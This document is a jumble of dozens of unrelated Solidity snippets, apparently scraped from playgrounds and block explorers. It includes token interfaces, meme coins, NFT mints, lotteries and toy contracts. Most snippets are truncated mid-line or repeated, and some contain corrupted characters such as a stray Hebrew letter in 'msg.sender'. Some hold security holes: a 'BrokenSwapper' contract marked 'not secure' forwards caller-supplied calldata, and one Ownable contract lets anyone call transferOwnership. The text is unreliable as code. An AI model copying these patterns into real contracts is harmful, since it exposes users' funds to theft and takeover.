function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів
function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�
function name() public view returns (string) // Назва токену
function symbol() public view returns (string) // Символ токену
function decimals() public view returns (uint8) // Кількість десяткових знаків
function totalSupply() public view returns (uint256)// Загальна кількість токенів
function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті
function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів
function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool)
pragma solidity ^0.8.0;
function name() public view returns (string) // Назва токену
function symbol() public view returns (string) // Символ токену
function decimals() public view returns (uint8) // Кількість десяткових знаків
function totalSupply() public view returns (uint256)// Загальна кількість токенів
function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті
function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів
function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�
pragma solidity ^0.7.1;
function name() public view returns (string) // Назва токену
function symbol() public view returns (string) // Символ токену
function decimals() public view returns (uint8) // Кількість десяткових знаків
function totalSupply() public view returns (uint256)// Загальна кількість токенів
function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті
function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів
function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�
pragma solidity ^0.8.0;
function name() public view returns (string) // Назва токену
function symbol() public view returns (string) // Символ токену
function decimals() public view returns (uint8) // Кількість десяткових знаків
function totalSupply() public view returns (uint256)// Загальна кількість токенів
function balanceOf(address _owner) public view returns (uint256 balance) // Баланс токенів на аккаунті
function transfer(address _to, uint256 _value) public returns (bool success) // Функція переведення токенів
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // функція зписування токенів
function approve(address _spender, uint256 _value) public returns (bool success) // Підтвердження транзакці�
pragma solidity ^0.4.15;
contract ArgentWallet {
address public owner;
mapping(address => uint) public balances;
event Deposit(address indexed _from, uint _value);
event Withdrawal(address indexed _to, uint _value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function ArgentWallet() public {
owner = msg.שsender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender]);
balances[msg.sender] -= _amount;
msg.sender.transfer(_amount);
Withdrawal(msg.sender, _amount);
}
function getBalance() public constant returns (uint) {
return balances[msg.sender];
}
function transfer(address _to, uint _amount) public {
require(_amount <= balances[msg.sender]);
balances[msg.sender] -= _amount;
balances[_to] += _am
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
import "@chainlink/contracts/src/v0.8/interfaces/KeeperCompatibleInterface.sol";
contract CoinFlipGame is VRFConsumerBase, KeeperCompatibleInterface {
uint public constant GAME_DURATION = 5 minutes;
uint public lastGameEndTime;
address payable[] public players;
mapping(address => uint) public bets;
mapping(address => bool) public guesses;
uint public totalBetAmount;
address payable public owner;
bytes32 internal keyHash;
uint internal fee;
// Events
event GameStarted(uint gameEndTime);
event BetPlaced(address player, uint amount, bool guess);
event GameEnded(bool result, uint totalPayout);
event Withdrawal(address to, uint amount);
// Commission settings
uint public commissionRate = 100; // 1% commission
uint public commissionBalance;
constructor(
address _vrfCoordinator,
address _linkToken,
byte
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
contract DTRASH is ERC20Votes {
uint256 public constant VESTING_DURATION = 730 days;
uint256 public constant UNLOCK_START = 365 days;
uint256 public unlockTime;
mapping(address => uint256) private _lockedBalances;
constructor(address[] memory lockedRecipients, uint256[] memory lockedAmounts, address[] memory unlockedRecipients, uint256[] memory unlockedAmounts) ERC20Votes("DecentTrash", "DTRASH") {
require(lockedRecipients.length == lockedAmounts.length, "Mismatched locked");
require(unlockedRecipients.length == unlockedAmounts.length, "Mismatched unlocked");
unlockTime = block.timestamp + UNLOCK_START;
for(uint i = 0; i < lockedRecipients.length; i++) {
_mintAndLock(lockedRecipients[i], lockedAmounts[i]);
}
for(uint i = 0; i < unlockedRecipients.length; i++) {
_mint(unlockedRecipients[i]
pragma solidity 0.8.10;
interface IAugustus {
function getTokenTransferProxy() external view returns (address);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
/*
* 1/ some scenario is broken
* 2/ not secure
* 3/ not gas efficient
*/
contract BrokenSwapper {
IAugustus immutable augustus;
constructor(IAugustus _augustus) {
augustus = _augustus;
}
// swap ERC20 tokens and pure ETH
function swapTokensWithParaSwap(
IERC20 srcToken,
IERC20 destToken,
uint256 amount,
bytes memory augustusCalldata // trusted data to pass down to augutus contract
) external {
srcToken.transferFrom(msg.sender, address(this), amount);
srcToken.a
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
contract Ownable {
address public owner;
function transferOwnership(address _newOwner) public {
owner = _newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2018 zOS Global Limited.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at optimistic.etherscan.io on 2023-12-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose toke
/**
*Submitted for verification at optimistic.etherscan.io on 2023-12-18
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
/**
* @dev Indicates a failure with the token `sender`. Used in transfers.
* @param sender Address whose toke
// SPDX-License-Identifier: MIT
// ___
// __/_ `. .-"""-.
// \_,` | \-' / )`-')
// "") `"` \ ((`"`
// ___Y , .'7 /|
// (_,___/...-` (_/_/
// x.com/kimboavax
// Kimbo , like the espresso!
// $KIMBO is a meme coin with no intrinsic value or expectation of financial return. There is no formal team or roadmap. The coin is completely useless and for entertainment purposes only.
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract KimboToken is ERC20, Ownable(msg.sender) {
// Added state variable for lubrication - gently does it!
// Lubrication prevents any wallet receiving more than 1% of Kimbo in the opening days.
bool public lubricating = true;
address public liquidityPool;
// Mint the totalSupply to the deployer
constructor() ERC20("Kimbo", "KIMBO") {
_mint(msg.sender, 69420000000 * 10 ** 18);
}
// Function to set lubricating state
function
pragma solidity 0.8.10;
interface IAugustus {
function getTokenTransferProxy() external view returns (address);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
/*
* 1/ some scenario is broken
* 2/ not secure
* 3/ not gas efficient
*/
contract BrokenSwapper {
IAugustus immutable augustus;
constructor(IAugustus _augustus) {
augustus = _augustus;
}
// swap ERC20 tokens and pure ETH
function swapTokensWithParaSwap(
IERC20 srcToken,
IERC20 destToken,
uint256 amount,
bytes memory augustusCalldata // trusted data to pass down to augutus contract
) external {
srcToken.transferFrom(msg.sender, address(this), amount);
srcToken.a
// SPDX-License-Identifier: MIT
// The SPDX-License-Identifier specifies the license for the code.
pragma solidity ^0.8.0;
// Indicates that the code should be compiled using a Solidity compiler version equal to or higher than 0.8.0.
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// Imports interfaces for ERC721 and ERC20 tokens, Ownable contract, and SafeMath for safe arithmetic operations.
contract NFTStaking is Ownable {
using SafeMath for uint256;
// The contract inherits from the Ownable contract, and SafeMath is used for safe arithmetic operations.
IERC721 public nftToken;
IERC20 public nativeToken;
// Declarations of interfaces for ERC721 and ERC20 tokens.
uint256 public stakingRewardRate = 1;
uint256 public totalStakedNFTs;
// Public variables to store staking parameters.
mapping(add
/**
o__ __o o o o__ __o o
<| v\ <|\ /|> <| v\ _<|>_
/ \ <\ / \\o o// \ / \ <\
\o/ o/ o o o__ __o/ \o/ v\ /v \o/ o__ __o \o/ o/ o__ __o/ \o_ __o o
|__ _<| <|> <|> /v | | <\/> | /v |> |__ _<|/ /v | | v\ <|>
| \ < > < > /> / \ / \ / \ /> // | /> / \ / \ <\ / \
<o> \o | | \ \o/ \o/ \o/ \o o/ <o> \ \o/ \o/ / \o/
| v\ o o o | | | v\ /v __o | o | | o |
/ \ <\ <\__ __/> <\__ < > / \ / \ <\/> __/> / \ <\__ / \ / \ __/> / \ v2
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
contract Token {
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowance;
uint private _totalSupply = 75000000 * 10 ** 18;
string public name = "Suleymani";
string public symbol = "SLMN";
uint public decimals = 18;
uint256 public num;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event BalanceChanged(address indexed owner, uint previousBalance, uint newBalance);
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function balanceOf(address owner) public view returns (uint) {
require(owner != address(0), "Invalid address");
return _balances[owner];
}
function transfer(address to, uint value) public returns (bool) {
require(to != address(0), "Inva
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
// Library for safe arithmetic operations
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
}
// Contract providing basic ownership control
contract Ownable {
address public owner;
// Assigns contract deployer as the owner
constructor() {
owner = msg.sender;
}
// Modifier to restrict functions to the owner only
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
// Allows the owner to withdraw Ether from the contract
function withdrawEther(uint256 amount) external onlyOwner {
payable(owner).transfer(amount);
}
}
// Main token contra
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
modifier isOwner() {
// Make sure we're called by our trusted owner before doing anything.
require(msg.sender == owner, "Caller is not owner");
_;
}
modifier isOwner() {
// Make sure we're called by our trusted owner before doing anything.
require(msg.sender == owner, "Caller is not owner");
_;
}
modifier isOwner() {
// Make sure we're called by our trusted owner before doing anything.
require(msg.sender == owner, "Caller is not owner");
_;
modifier isOwner() {
// Make sure we're called by our trusted owner before doing anything.
require(msg.sender == owner, "Caller is not owner");
_;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
modifier isOwner() {
// Make sure we're called by our trusted owner before doing anything.
require(msg.sender == owner, "Caller is not owner");
_;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
if (false) revert();
// if (true) revert();
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Martians is ERC721Enumerable, Ownable, EIP712 {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
uint256 maxSupply = 1000;
bool public publicMintOpen = false;
bool public allowListMintOpen = true;
string private _contractBaseURI;
bytes32 private _secret;
uint256[] private _availableTokenIds;
uint256 private _index;
constructor() ERC721("Monero Martians", "FEFMLMKU1984") EIP712("monero_martians", "1") {
_contractBaseURI = "ipfs://bafybeifzbz5znq4m3qhgxcjchoz4jwho56at3xin5vq3ndbjc2sybpjhue";
_secret = keccak256(abi.encodePacked(bl
// SPDX-License-Identifier: UNLICENSE
/*
*/
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function generateTraits(
bytes32 seed
) public pure returns (string) {
uint256 rockColorFamily = uint256(
seed
) % 10000;
string memory featuredMaterial;
if (rockColorFamily < 1800) {
featuredMaterial = "IRON";
} else if (rockColorFamily < 4000) {
featuredMaterial = "COPPER";
} else if (rockColorFamily < 6000) {
featuredMaterial = "OXIDE";
} else if (rockColorFamily < 7800) {
featuredMaterial = "PYRITE";
} else if (rockColorFamily <= 9500) {
featuredMaterial = "GRANITE";
} else {
featuredMaterial = "QUARTZITE";
}
return featuredMaterial;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "./PriceConverter.sol";
import "./RustToken.sol";
contract RustLotto is ReentrancyGuard, Ownable, VRFConsumerBaseV2 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using PriceConverter for uint256;
VRFCoordinatorV2Interface COORDINATOR;
uint64 private s_subscriptionId;
address private vrfCoordinator = 0x6D80646bEAdd07cE68cab36c27c626790bBcf17f;
bytes32 private keyHash = 0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
uint16 private requestConfirmations = 3;
uint32 private numWords = 6;
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
import "./PriceConverter.sol";
contract RustLotto is ReentrancyGuard, Ownable, VRFConsumerBaseV2 {
using SafeERC20 for IERC20;
using SafeMath for uint256;
using PriceConverter for uint256;
VRFCoordinatorV2Interface COORDINATOR;
uint64 private s_subscriptionId;
address private vrfCoordinator = 0x6D80646bEAdd07cE68cab36c27c626790bBcf17f;
bytes32 private keyHash = 0x83d1b6e3388bed3d76426974512bb0d270e9542a765cd667242ea26c0cc0b730;
uint16 private requestConfirmations = 3;
uint32 private numWords = 6;
uint32 private callback
//test
pragma solidity >=0.4.18 <=0.5.6;
contract test {
string public name="beom_test";
uint256 private bagic=10;
function testfunc(uint256 input) private {
bagic=input;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract Martians is ERC721Enumerable, Ownable, EIP712 {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
uint256 maxSupply = 1000;
bool public publicMintOpen = false;
bool public allowListMintOpen = true;
string private _contractBaseURI;
bytes32 private _secret;
uint256[] private _availableTokenIds;
uint256 private _index;
constructor() ERC721("Monero Martians", "FEFMLMKU1984") EIP712("monero_martians", "1") {
_contractBaseURI = "ipfs://bafybeifzbz5znq4m3qhgxcjchoz4jwho56at3xin5vq3ndbjc2sybpjhue";
_secret = keccak256(abi.encodePacked(bl
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
assembly {
invalid()
}
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
pure
public
returns(string) {
bytes memory bfrom = bytes(_from);
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForETH(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
}
contract WXDAIWrapper {
string public name = "Wrapped xDAI";
string public symbol = "WXDAI";
uint8 public decimals = 18;
uint256 public totalSupply = 100000 * 10**decimals; // 100,000 WXDAI, pegged to DAI
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowances;
address public uniswapRouterAddress;
IUniswapV2Router private uniswapRouter;
constructor(address _uniswapRouterAddress) {
uniswapRouterAddress = _uniswapRouterAddress;
unis
// SPDX-License-Identifier: MIT
pragma solidity >0.7.0 <=0.9.0;
import "contracts/Producto.sol";
contract RegistroProductos{
address private immutable usuario;
mapping(address => mapping(string => Producto)) private producto;
event ProductoAgregado(string codigo, string nombre, uint stock);
event ProductoActualizado(string codigo, uint nuevoStock);
event ProductoEliminado(string codigo);
modifier soloPropietario() {
require(msg.sender == usuario, "Solo el propietario tiene Acceso");
_;
}
modifier existeCodigo(string memory _codigo) {
string memory codigoInterno = producto[usuario][_codigo].codigo;
require(keccak256(abi.encodePacked(codigoInterno)) == keccak256(abi.encodePacked(_codigo)), "Codigo Inexistente");
_;
}
constructor(){
usuario = msg.sender;
}
function agregarProducto(string memory _codigo, string memory _nombre, uint _stock) public soloPropietario() {
producto[usua
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v2/BaseOFTV2.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/*
Chain Information:
LayerZero Optimism Goerli
chainId: 10132
endpoint: 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1
LayerZero Goerli
chainId: 10121
endpoint: 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23
[
{
"refundAddress": "0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486",
"zroPaymentAddress": "0x0",
"adapterParams": ""0x0002000000000000000000000000000000000000000000000000000000000003d0900000000000000000000000000000000000000000000000000000000000000000c5e31322429453e6d196c34fb16b88edc2a58082
}
]
{0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486,0x0,0x0002000000000000000000000000000000000000000000000000000000000003d09000000000000
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/token/oft/v2/BaseOFTV2.sol";
/*
Chain Information:
LayerZero Optimism Goerli
chainId: 10132
endpoint: 0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1
LayerZero Goerli
chainId: 10121
endpoint: 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23
*/
/* Example Tuple 1: Error https://goerli.etherscan.io/tx/0x92047bdd908d6241ef65fd21164855267e30a11460fa6cb0d8f485810d6a7931
Tuple Format
["srcRefundAddress", "ZROGasAddress", "_adaptParams bytes array"]
["0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486","0x0000000000000000000000000000000000000000","0x00010000000000000000000000000000000000000000000000000000000000030d40"]
["0x9Eb404FA6a9ad4bF45f20be8f07a16C491629486","0x0000000000000000000000000000000000000000","0x00010000000000000000000000000000000000000000000000000000000000030d40"]
["0x9Eb404FA6a
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract BoardMemberContract {
struct BoardMember {
address memberAddress; // Address of the board member
string name; // Name of the board member
uint256 joiningDate; // Timestamp of when the member joined
}
BoardMember[] public boardMembers;
mapping(address => bool) public isBoardMember;
event BoardMemberAdded(address indexed memberAddress, string name, uint256 joiningDate);
event BoardMemberRemoved(address indexed memberAddress);
function addBoardMember(address _memberAddress, string _name) public {
require(!isBoardMember[_memberAddress]);
require(bytes(_name).length > 0);
BoardMember memory newMember = BoardMember({
memberAddress: _memberAddress,
name: _name,
joiningDate: block.timestamp
});
boardMembers.push(newMember);
isBoardMember[_
pragma solidity ^0.4.18;
contract LogisticsContract {
struct Shipment {
uint shipmentId; // Unique ID for the shipment
address sender; // Address of the sender
address receiver; // Address of the receiver
bytes32 certificate; // Certificate related to the shipment
uint timestamp; // Timestamp of the shipment creation
mapping(string => address) entities; // Mapping to store the addresses of different entities involved
}
Shipment[] public shipments;
mapping(uint => bool) public shipmentExists;
mapping(uint => bool) public shipmentReceived;
event ShipmentCreated(uint shipmentId, address sender, address receiver, bytes32 certificate, uint timestamp);
event ShipmentReceived(uint shipmentId, address receiver, uint timestamp);
event EntityInvolved(uint shipmentId, string role, address entityAddress);
function createShipment(uint shipmentId, address receiver, bytes32 certificate) public {
r
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract FreelancerContract {
// Structure to represent a task
struct Task {
address client; // Address of the client who created the task
uint value; // Amount of ether set for the task
bool completed; // Flag to indicate if the task is completed
bool paid; // Flag to indicate if the task is paid
}
// Array to store all the tasks
Task[] public tasks;
// Events to emit when tasks are created, completed, and paid
event TaskCreated(uint indexed taskId, address indexed client, uint value);
event TaskCompleted(uint indexed taskId);
event TaskPaid(uint indexed taskId);
// Function to create a new task
function createTask() public payable {
require(msg.value > 0);
Task memory newTask = Task({
client: msg.sender,
value: msg.value,
completed: false,
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
Function encode(string memory key, string memory plaintext) public pure returns (string memory) {
uint keyLength = bytes(key).length;
uint plainLength = bytes(plaintext).length;
uint numCols = (plainLength + keyLength - 1) / keyLength;
uint[] memory order = new uint[](keyLength);
for (uint i = 0; i < keyLength; i++) {
order[i] = i;
}
string memory ciphertext = "";
for (uint num = 0; num < numCols; num++) {
for (uint i = 0; i < keyLength; i++) {
if (num * keyLength + order[i] < plainLength) {
ciphertext = string(abi.encodePacked(ciphertext, bytes(plaintext)[num * keyLength + order[i]]));
}
}
}
return ciphertext;
}
// Example usage
encode("KEY", "HELLO")
/**
*Submitted for verification at Etherscan.io on 2023-07-22
*/
/**
https://t.me/MagicMiladyMoney
https://magicmiladymoney.wtf/
